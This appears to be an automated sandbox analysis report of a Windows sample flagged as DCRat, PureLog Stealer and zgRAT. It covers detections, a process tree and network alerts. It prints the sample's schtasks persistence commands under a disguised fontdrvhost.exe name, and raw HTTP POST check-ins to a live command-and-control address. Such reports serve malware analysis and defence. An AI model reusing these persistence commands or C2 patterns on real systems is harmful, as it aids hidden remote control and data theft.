Edit tour

Windows Analysis Report
ZT3pxe2Tb4.exe

Overview

General Information

Sample name:	ZT3pxe2Tb4.exe renamed because original name is a hash value
Original sample name:	4164D5955C244FF266C1CC41013FE21A.exe
Analysis ID:	1417387
MD5:	4164d5955c244ff266c1cc41013fe21a
SHA1:	cd4b6caab8b3762d3af3b7ad738f51d2e92c2d34
SHA256:	138905d6721c1e6b174b6f61154a938565c9bd5c6b5b0abe8274054bf151da9c
Tags:	DCRatexe
Infos:

Detection

DCRat, PureLog Stealer, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (creates a PE file in dynamic memory)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected DCRat

Yara detected PureLog Stealer

Yara detected zgRAT

.NET source code contains method to dynamically call methods (often used by packers)

Creates processes via WMI

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: Files With System Process Name In Unsuspected Locations

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Uses schtasks.exe or at.exe to add and modify task schedules

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for execution timing, often used to detect debuggers

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Schtasks From Env Var Folder

Tries to load missing DLLs

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

ZT3pxe2Tb4.exe (PID: 4484 cmdline: "C:\Users\user\Desktop\ZT3pxe2Tb4.exe" MD5: 4164D5955C244FF266C1CC41013FE21A)

schtasks.exe (PID: 5332 cmdline: schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 10 /tr "'C:\Users\user\AppData\Local\fontdrvhost.exe'" /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 3512 cmdline: schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Users\user\AppData\Local\fontdrvhost.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

schtasks.exe (PID: 4908 cmdline: schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 8 /tr "'C:\Users\user\AppData\Local\fontdrvhost.exe'" /rl HIGHEST /f MD5: 76CD6626DD8834BD4A42E6A565104DC2)

cmd.exe (PID: 1704 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\e2HUAivGfO.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 6764 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

PING.EXE (PID: 7080 cmdline: ping -n 10 localhost MD5: 2F46799D79D22AC72C241EC0322B011D)

fontdrvhost.exe (PID: 7376 cmdline: "C:\Users\user\AppData\Local\fontdrvhost.exe" MD5: 4164D5955C244FF266C1CC41013FE21A)

cmd.exe (PID: 7560 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\6WkFIbRMFr.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7576 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 7628 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

PING.EXE (PID: 7644 cmdline: ping -n 10 localhost MD5: 2F46799D79D22AC72C241EC0322B011D)

fontdrvhost.exe (PID: 7992 cmdline: "C:\Users\user\AppData\Local\fontdrvhost.exe" MD5: 4164D5955C244FF266C1CC41013FE21A)

cmd.exe (PID: 8188 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\s2nU7uS06N.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 3868 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

w32tm.exe (PID: 6128 cmdline: w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 MD5: 81A82132737224D324A3E8DA993E2FB5)

fontdrvhost.exe (PID: 7300 cmdline: "C:\Users\user\AppData\Local\fontdrvhost.exe" MD5: 4164D5955C244FF266C1CC41013FE21A)

cmd.exe (PID: 2816 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\ZMh4UPVO0I.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 7448 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

w32tm.exe (PID: 7488 cmdline: w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 MD5: 81A82132737224D324A3E8DA993E2FB5)

fontdrvhost.exe (PID: 5572 cmdline: "C:\Users\user\AppData\Local\fontdrvhost.exe" MD5: 4164D5955C244FF266C1CC41013FE21A)

cmd.exe (PID: 7816 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\7nxekELsf0.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7804 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 6812 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

PING.EXE (PID: 6976 cmdline: ping -n 10 localhost MD5: 2F46799D79D22AC72C241EC0322B011D)

fontdrvhost.exe (PID: 7272 cmdline: "C:\Users\user\AppData\Local\fontdrvhost.exe" MD5: 4164D5955C244FF266C1CC41013FE21A)

cmd.exe (PID: 7916 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\Gu3WPocxsu.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7648 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 7620 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

w32tm.exe (PID: 7612 cmdline: w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 MD5: 81A82132737224D324A3E8DA993E2FB5)

fontdrvhost.exe (PID: 2288 cmdline: "C:\Users\user\AppData\Local\fontdrvhost.exe" MD5: 4164D5955C244FF266C1CC41013FE21A)

fontdrvhost.exe (PID: 5496 cmdline: C:\Users\user\AppData\Local\fontdrvhost.exe MD5: 4164D5955C244FF266C1CC41013FE21A)

cmd.exe (PID: 7288 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\wuC6fcDv5B.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7296 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 7332 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

PING.EXE (PID: 7344 cmdline: ping -n 10 localhost MD5: 2F46799D79D22AC72C241EC0322B011D)

fontdrvhost.exe (PID: 7736 cmdline: "C:\Users\user\AppData\Local\fontdrvhost.exe" MD5: 4164D5955C244FF266C1CC41013FE21A)

cmd.exe (PID: 7900 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\OwDUg2gYJx.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7912 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 7952 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

PING.EXE (PID: 7968 cmdline: ping -n 10 localhost MD5: 2F46799D79D22AC72C241EC0322B011D)

fontdrvhost.exe (PID: 3624 cmdline: "C:\Users\user\AppData\Local\fontdrvhost.exe" MD5: 4164D5955C244FF266C1CC41013FE21A)

cmd.exe (PID: 3592 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\I3W1TCNLwG.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7580 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

chcp.com (PID: 7704 cmdline: chcp 65001 MD5: 33395C4732A49065EA72590B14B64F32)

PING.EXE (PID: 7360 cmdline: ping -n 10 localhost MD5: 2F46799D79D22AC72C241EC0322B011D)

fontdrvhost.exe (PID: 7244 cmdline: "C:\Users\user\AppData\Local\fontdrvhost.exe" MD5: 4164D5955C244FF266C1CC41013FE21A)

cmd.exe (PID: 984 cmdline: "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\3IMqqsTTOd.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

fontdrvhost.exe (PID: 6648 cmdline: C:\Users\user\AppData\Local\fontdrvhost.exe MD5: 4164D5955C244FF266C1CC41013FE21A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DCRat	DCRat is a typical RAT that has been around since at least June 2019.	No Attribution	https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://blog.talosintelligence.com/2021/10/crimeware-targets-afghanistan-india.html https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus https://blogs.blackberry.com/en/2022/05/dirty-deeds-done-dirt-cheap-russian-rat-offers-backdoor-bargains	https://malpedia.caad.fkie.fraunhofer.de/details/win.dcrat

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
ZT3pxe2Tb4.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
ZT3pxe2Tb4.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\fontdrvhost.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Users\user\AppData\Local\fontdrvhost.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000000.1606720859.00000000009E2000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.1651517514.0000000013466000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: ZT3pxe2Tb4.exe PID: 4484	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: fontdrvhost.exe PID: 5496	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security
Process Memory Space: fontdrvhost.exe PID: 6648	JoeSecurity_DCRat_1	Yara detected DCRat	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.ZT3pxe2Tb4.exe.9e0000.0.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
0.0.ZT3pxe2Tb4.exe.9e0000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\Desktop\ZT3pxe2Tb4.exe, ProcessId: 4484, TargetFilename: C:\Users\user\AppData\Local\fontdrvhost.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 10 /tr "'C:\Users\user\AppData\Local\fontdrvhost.exe'" /f, CommandLine: schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 10 /tr "'C:\Users\user\AppData\Local\fontdrvhost.exe'" /f, CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\ZT3pxe2Tb4.exe", ParentImage: C:\Users\user\Desktop\ZT3pxe2Tb4.exe, ParentProcessId: 4484, ParentProcessName: ZT3pxe2Tb4.exe, ProcessCommandLine: schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 10 /tr "'C:\Users\user\AppData\Local\fontdrvhost.exe'" /f, ProcessId: 5332, ProcessName: schtasks.exe

Snort Signatures

ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST) - Source IP: 192.168.2.4 - Destination IP: 89.23.98.225

Timestamp:	03/29/24-07:38:03.072563
SID:	2048095
Source Port:	49745
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST) - Source IP: 192.168.2.4 - Destination IP: 89.23.98.225

Timestamp:	03/29/24-07:37:10.589011
SID:	2048095
Source Port:	49731
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST) - Source IP: 192.168.2.4 - Destination IP: 89.23.98.225

Timestamp:	03/29/24-07:37:41.258721
SID:	2048095
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST) - Source IP: 192.168.2.4 - Destination IP: 89.23.98.225

Timestamp:	03/29/24-07:37:01.421586
SID:	2048095
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST) - Source IP: 192.168.2.4 - Destination IP: 89.23.98.225

Timestamp:	03/29/24-07:37:37.301200
SID:	2048095
Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST) - Source IP: 192.168.2.4 - Destination IP: 89.23.98.225

Timestamp:	03/29/24-07:38:15.792609
SID:	2048095
Source Port:	49746
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST) - Source IP: 192.168.2.4 - Destination IP: 89.23.98.225

Timestamp:	03/29/24-07:37:55.065041
SID:	2048095
Source Port:	49744
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST) - Source IP: 192.168.2.4 - Destination IP: 89.23.98.225

Timestamp:	03/29/24-07:37:32.317096
SID:	2048095
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST) - Source IP: 192.168.2.4 - Destination IP: 89.23.98.225

Timestamp:	03/29/24-07:38:55.054545
SID:	2048095
Source Port:	49749
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST) - Source IP: 192.168.2.4 - Destination IP: 89.23.98.225

Timestamp:	03/29/24-07:37:19.143924
SID:	2048095
Source Port:	49738
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: ZT3pxe2Tb4.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\6WkFIbRMFr.bat	Avira: detection malicious, Label: BAT/Runner.IK
Source: C:\Users\user\AppData\Local\Temp\I3W1TCNLwG.bat	Avira: detection malicious, Label: BAT/Runner.IK
Source: C:\Users\user\AppData\Local\Temp\s2nU7uS06N.bat	Avira: detection malicious, Label: BAT/Runner.IL
Source: C:\Users\user\Desktop\DACRVJoK.log	Avira: detection malicious, Label: HEUR/AGEN.1362695
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\user\AppData\Local\Temp\ZMh4UPVO0I.bat	Avira: detection malicious, Label: BAT/Runner.IL
Source: C:\Users\user\Desktop\CgRzmzKC.log	Avira: detection malicious, Label: TR/PSW.Agent.qngqt
Source: C:\Users\user\AppData\Local\Temp\OwDUg2gYJx.bat	Avira: detection malicious, Label: BAT/Runner.IK
Source: C:\Users\user\Desktop\ELDRalsN.log	Avira: detection malicious, Label: HEUR/AGEN.1300079
Source: C:\Users\user\AppData\Local\Temp\wuC6fcDv5B.bat	Avira: detection malicious, Label: BAT/Runner.IK
Source: C:\Users\user\AppData\Local\Temp\Gu3WPocxsu.bat	Avira: detection malicious, Label: BAT/Runner.IL
Source: C:\Users\user\AppData\Local\Temp\7nxekELsf0.bat	Avira: detection malicious, Label: BAT/Runner.IK
Source: C:\Users\user\Desktop\CGTrJaEm.log	Avira: detection malicious, Label: TR/PSW.Agent.qngqt
Source: C:\Users\user\Desktop\AFOsBjYP.log	Avira: detection malicious, Label: HEUR/AGEN.1300079
Source: C:\Users\user\AppData\Local\Temp\e2HUAivGfO.bat	Avira: detection malicious, Label: BAT/Runner.IK
Source: C:\Users\user\AppData\Local\Temp\3IMqqsTTOd.bat	Avira: detection malicious, Label: BAT/Runner.IK

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\fontdrvhost.exe	ReversingLabs: Detection: 86%
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Virustotal: Detection: 72%	Perma Link
Source: C:\Users\user\Desktop\AFOsBjYP.log	Virustotal: Detection: 19%	Perma Link
Source: C:\Users\user\Desktop\AaPSReOe.log	Virustotal: Detection: 7%	Perma Link
Source: C:\Users\user\Desktop\CGTrJaEm.log	ReversingLabs: Detection: 66%
Source: C:\Users\user\Desktop\CGTrJaEm.log	Virustotal: Detection: 69%	Perma Link
Source: C:\Users\user\Desktop\COTaDrJc.log	Virustotal: Detection: 21%	Perma Link
Source: C:\Users\user\Desktop\CTQIQVae.log	Virustotal: Detection: 7%	Perma Link
Source: C:\Users\user\Desktop\CgRzmzKC.log	ReversingLabs: Detection: 66%
Source: C:\Users\user\Desktop\CgRzmzKC.log	Virustotal: Detection: 69%	Perma Link
Source: C:\Users\user\Desktop\CkrRJHNx.log	Virustotal: Detection: 8%	Perma Link
Source: C:\Users\user\Desktop\DACRVJoK.log	Virustotal: Detection: 7%	Perma Link
Source: C:\Users\user\Desktop\FWXhQVXq.log	Virustotal: Detection: 19%	Perma Link
Source: C:\Users\user\Desktop\FWzHsBqG.log	Virustotal: Detection: 7%	Perma Link

Multi AV Scanner detection for submitted file

Source: ZT3pxe2Tb4.exe	ReversingLabs: Detection: 86%
Source: ZT3pxe2Tb4.exe	Virustotal: Detection: 73%			Perma Link

Machine Learning detection for dropped file

Source: C:\Users\user\Desktop\CTQIQVae.log	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\CkrRJHNx.log	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\AaPSReOe.log	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: ZT3pxe2Tb4.exe

Joe Sandbox ML: detected

Compliance

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe

Unpacked PE file: 0.2.ZT3pxe2Tb4.exe.1670000.5.unpack

Source: ZT3pxe2Tb4.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: ZT3pxe2Tb4.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdbnet0l source: fontdrvhost.exe, 00000034.00000002.2239140021.0000000000885000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdbN\|2h\|2 Z\|2_CorDllMainmscoree.dll source: fontdrvhost.exe, 00000008.00000002.1748627136.000000001BF60000.00000004.00000020.00020000.00000000.sdmp, fontdrvhost.exe, 0000000E.00000002.1845478401.000000001C9D2000.00000004.00000020.00020000.00000000.sdmp, fontdrvhost.exe, 00000015.00000002.2055064818.000000001B7E8000.00000004.00000020.00020000.00000000.sdmp, fontdrvhost.exe, 0000002A.00000002.2218891440.000000001BE82000.00000004.00000020.00020000.00000000.sdmp, fontdrvhost.exe, 00000033.00000002.2698860484.000000001B70B000.00000004.00000020.00020000.00000000.sdmp, fontdrvhost.exe, 00000034.00000002.2506178713.000000001BDD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: em.pdbd source: fontdrvhost.exe, 00000022.00000002.2098127256.000000001C46A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdbnnecg source: fontdrvhost.exe, 00000034.00000002.2239140021.0000000000885000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: em.pdb source: fontdrvhost.exe, 0000002A.00000002.2225604158.000000001CC92000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: fontdrvhost.exe, 00000008.00000002.1748627136.000000001BF60000.00000004.00000020.00020000.00000000.sdmp, fontdrvhost.exe, 0000000E.00000002.1845478401.000000001C9D2000.00000004.00000020.00020000.00000000.sdmp, fontdrvhost.exe, 00000015.00000002.2055064818.000000001B7E8000.00000004.00000020.00020000.00000000.sdmp, fontdrvhost.exe, 0000002A.00000002.2218891440.000000001BE82000.00000004.00000020.00020000.00000000.sdmp, fontdrvhost.exe, 00000033.00000002.2698860484.000000001B70B000.00000004.00000020.00020000.00000000.sdmp, fontdrvhost.exe, 00000034.00000002.2506178713.000000001BDD7000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: C:\Users\user\Desktop\ZT3pxe2Tb4.exe	Code function: 4x nop then mov dword ptr [ebp-04h], 7FFFFFFFh	0_2_00007FFD9BBCD16D
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 4x nop then mov dword ptr [ebp-04h], 7FFFFFFFh	8_2_00007FFD9BBAD16D
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 4x nop then jmp 00007FFD9BA21F76h	9_2_00007FFD9BA21D6E
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 4x nop then mov dword ptr [ebp-04h], 7FFFFFFFh	14_2_00007FFD9BBDD16D
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 4x nop then jmp 00007FFD9BA01F76h	21_2_00007FFD9BA01D6E
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 4x nop then mov dword ptr [ebp-04h], 7FFFFFFFh	21_2_00007FFD9BBAD16D
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 4x nop then mov dword ptr [ebp-04h], 7FFFFFFFh	27_2_00007FFD9BBBD16D
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 4x nop then mov dword ptr [ebp-04h], 7FFFFFFFh	34_2_00007FFD9BB9D16D
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 4x nop then jmp 00007FFD9BA21F76h	35_2_00007FFD9BA21D6E
Source: C:\Users\user\AppData\Local\fontdrvhost.exe	Code function: 4x nop then mov dword ptr [ebp-04h], 7FFFFFFFh	35_2_00007FFD9BBCD16D

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2048095 ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST) 192.168.2.4:49730 -> 89.23.98.225:80
Source: Traffic	Snort IDS: 2048095 ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST) 192.168.2.4:49731 -> 89.23.98.225:80
Source: Traffic	Snort IDS: 2048095 ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST) 192.168.2.4:49738 -> 89.23.98.225:80
Source: Traffic	Snort IDS: 2048095 ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST) 192.168.2.4:49740 -> 89.23.98.225:80
Source: Traffic	Snort IDS: 2048095 ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST) 192.168.2.4:49741 -> 89.23.98.225:80
Source: Traffic	Snort IDS: 2048095 ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST) 192.168.2.4:49742 -> 89.23.98.225:80
Source: Traffic	Snort IDS: 2048095 ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST) 192.168.2.4:49744 -> 89.23.98.225:80
Source: Traffic	Snort IDS: 2048095 ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST) 192.168.2.4:49745 -> 89.23.98.225:80
Source: Traffic	Snort IDS: 2048095 ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST) 192.168.2.4:49746 -> 89.23.98.225:80
Source: Traffic	Snort IDS: 2048095 ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST) 192.168.2.4:49749 -> 89.23.98.225:80

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost

Source: Joe Sandbox View

ASN Name: MAXITEL-ASRU MAXITEL-ASRU

Source: global traffic	HTTP traffic detected: POST /8pollDbvoiddb/DatalifeFlowerWp/processbaseMariadb1/Defaultbigloadpython/Generator/videoLowUpdateDbasync.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 89.23.98.225Content-Length: 344Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /8pollDbvoiddb/DatalifeFlowerWp/processbaseMariadb1/Defaultbigloadpython/Generator/videoLowUpdateDbasync.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 OPR/81.0.4196.60Host: 89.23.98.225Content-Length: 344Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /8pollDbvoiddb/DatalifeFlowerWp/processbaseMariadb1/Defaultbigloadpython/Generator/videoLowUpdateDbasync.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 89.23.98.225Content-Length: 344Expect: 100-continueConnection: Keep-Alive
